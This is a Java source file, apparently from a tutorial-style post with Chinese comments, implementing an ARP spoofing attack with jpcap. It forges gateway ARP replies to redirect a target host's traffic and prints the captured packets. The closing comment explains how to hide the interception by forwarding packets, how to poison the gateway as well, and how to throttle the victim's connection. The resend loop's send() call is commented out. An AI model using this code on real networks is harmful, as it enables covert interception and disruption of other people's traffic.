package com.net;

import java.net.InetAddress;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.Packet;

public class ArpAttack {

    private final static String GATE_IP = "192.168.11.1";
  private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
    private JpcapCaptor jpcap;                                        //与设备的连接
    private JpcapSender sender;                                     //用于发送的实例
    private Packet replyPacket;                                      //ARP reply包
    private NetworkInterface device;                           //当前机器网卡设备
    private IpMacMap targetIpMacMap;                        //目的地IP MAC对

    public ArpAttack(IpMacMap target) throws Exception {
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();               device = devices[1];
        this.targetIpMacMap = target;
        initSender();
        initPacket();
    }

    private void initSender() throws Exception {
        jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);    //打开与设备的连接
        jpcap.setFilter("ip", true);                                //只监听ip数据包
        sender = jpcap.getJpcapSenderInstance();
    }

    private void initPacket() throws Exception {
        //reply包的源IP和MAC地址，此IP-MAC对将会被映射到ARP表
        IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);  
        //创建修改目标机器ARP的包
        replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd); 
        //创建以太网头信息，并打包进reply包
        replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
                device.mac_address);
    }

    public void listen() throws InterruptedException{
        Thread t = new Thread(new Runnable() {
            public void run() {
              //发送reply封包，修改目的地arp 表， arp表会在一段时间内被更新，所以需要不停发送
                while(true){
                    //send();  
                    try {
                        Thread.sleep(500);
                    } catch (InterruptedException ex) {
                    }
                }
            }
        });
        t.start();
        //截获当前网络设备的封包收发信息
        while(true){
            IPPacket ipPacket = (IPPacket)jpcap.getPacket();
            System.out.println(ipPacket);
        }
    }}


//IP-MAC实体，只用于保存一对IP-MAC地址
 class IpMacMap {
    private String ip;
    private byte[] mac;

    public IpMacMap(){
    }
    
    public IpMacMap(String ip, byte[] mac){
        this.ip = ip;
        this.mac = mac;
    }
    
    public String getIp() {
        return ip;
    }

    public void setIp(String ip) {
        this.ip = ip;
    }

    public byte[] getMac() {
        return mac;
    }

    public void setMac(byte[] mac) {
        this.mac = mac;
    }   
    
}

//ARP reply包生成类，用于根据目的地址和源地址生成reply包
 class ARPPacketGern{

    public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
        ARPPacket arpTarget = new ARPPacket();
        arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;  //选择以太网类型(Ethernet)
        arpTarget.prototype = ARPPacket.PROTOTYPE_IP;         //选择IP网络协议类型
        arpTarget.operation = ARPPacket.ARP_REPLY;              //选择REPLY类型
        arpTarget.hlen = 6;                              //MAC地址长度固定6个字节
        arpTarget.plen = 4;                              //IP地址长度固定4个字节
        arpTarget.target_hardaddr = target.getMac();
        arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
        arpTarget.sender_hardaddr = sender.getMac();
        arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
        return arpTarget;
    }
}





//根据目的地MAC和源MAC构建以太网头信息，用于传输数据
 class EthernetPacketGern{
    public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
        EthernetPacket ethToTarget = new EthernetPacket();           //创建一个以太网头
        ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;   //选择以太包类型
        ethToTarget.dst_mac = targetMac;
        ethToTarget.src_mac = senderMac;        
        return ethToTarget;
    }
}
 
/* 如上代码实现了创建一个发送到IP为192.168.11.4的机器的ARP reply封包，其中可看到，reply包中的源IP为192.168.11.1，而源MAC则被改成当前机器的MAC地址，
 既device.mac_address，这样当192.168.11.4的机器接收到该reply包后，就会刷新ARP表，并且所有发送往192.168.11.1的数据都会实际发送到当前运行该程序的机器。
 程序中创建了一个线程用于循环发送reply封包，主要是因为ARP表会在一定时间内更新，
 所以要不停的发送才能保证其MAC地址时刻都是被改变的。同时主线程用于监听并打印当前设备的所有IP数据包信息，本来此方法只能监听到本机数据包的信息，但由于使用了ARP欺骗，
 所以你会在192.168.11.4发送数据到192.168.11.1的时候截获其数据包，并看到类似如下的信息：

 1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922)
 TCP 1337 > 8016 seq(1062321893) win(65535) S

     其实上例程序虽然可以截获并监听192.168.11.4的数据包，但是如果真的运行起来后，192.168.11.4的机器将会无法上网
     （假设该机器通过192.168.11.1作为网关上网），这又是为何呢

     这就是因为本机截获了192.168.11.4的封包，但是却没有将封包转发出去，所以实际上数据包到了你的机器上后就被中断了，数据包无法发送出去。既然要监听对方机器，当然不能让对方知道啦，
     如果你监听了那台机器，却导致对方无法上网，傻子也知道有问题啦，所以以上程序仍然要加个补充，那就是将封包数据在转发到192.168.11.1上，只要将截获的封包再send出去就可以了，具体如何做就留给大家想吧，困了，


     对了，最后还有补充的地方，那就是我们可以通过同样的方式刷新网关的ARP，这样网关接受到的数据也会被本机截获，同样再通过本机转发到目的机器即可。
     这样对方既可正常上网，而我们又可截获对方的数据包，如果要进行限速的话，
     ？
     那就是在截获封包的同时，进行一定的延时，比如一秒只允许多少K的数据通过，都可以在这里做手脚，同样的，具体如何留给大家想吧，^ o ^。
 
 */